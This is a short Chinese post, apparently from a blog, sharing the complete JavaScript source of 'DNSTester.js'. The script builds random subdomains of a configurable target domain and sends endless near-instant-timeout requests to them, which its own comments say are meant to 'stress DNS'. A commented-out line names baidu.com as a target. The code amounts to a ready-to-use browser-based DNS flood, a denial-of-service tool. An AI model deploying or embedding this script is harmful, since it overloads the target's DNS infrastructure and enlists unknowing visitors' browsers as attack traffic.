几乎重写了一切可以重写的。
https://gfwsuckmydick.science/
https://github.com/cnbeining/DNSTester.js
代码下面。

/*!
 * DNSTester.js 0.0.3
 * https://github.com/cnbeining/DNSTester.js
 * http://www.cnbeining.com/
 *
 * Includes jQuery
 * http://jquery.com/
 *
 * Copyright 2015 Beining
 * Released under the GNU GENERAL PUBLIC LICENSE Version 2
 * https://github.com/cnbeining/DNSTester.js/blob/master/LICENSE
 *
 */
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='https://code.jquery.com/jquery-latest.js'>\x3c/script>"); //In casse HTTPS
var COUNT = 0;
var STARTTIME = (new Date).getTime();
function makeid_old(length)
{
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for( var i=0; i < length; i++ )
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
}
function makeid_new(len) {
    //Only avalable in new browsers
    var arr = new Uint8Array((len || 40) / 2);
    window.crypto.getRandomValues(arr);
    text = [].map.call(arr, function(n) { return n.toString(16); }).join("");
    return text;
}
makeid = makeid_new; //asserting
try {
    test_msg = makeid(5)
}
catch(err) {
    console.log("New function not supported! " + err);
    makeid = makeid_old;
}
function r_send2() {
    if ((MAX_COUNT < 1 || COUNT >= MAX_COUNT) != true) {
          get("https://" + makeid(Math.floor((Math.random() * 64) + 1)) + DOMAIN) // NEVER FORGET, in case you use HTTPS
      };
      if (COUNT % 1000 == 0) { //report every 1000 times
          console.log('Done: ' + COUNT.toString())
      };
}
function get(a) {
    var b;
    $.ajax({
        url: a,
        dataType: "script",
        timeout: 1E-4, //So fail immediately, but good enough to stress DNS
        cache: !0,
        // beforeSend: function() {
        // requestTime = (new Date).getTime()
        // },
        complete: function() {
            COUNT += 1;
            r_send2();
        }
        })
}
function r_send(a) {
    setTimeout("r_send2()", a)
}
//var DOMAIN = ".baidu.com/" // Change me!
//setTimeout("r_send2()", 1E-2); // Change speed here!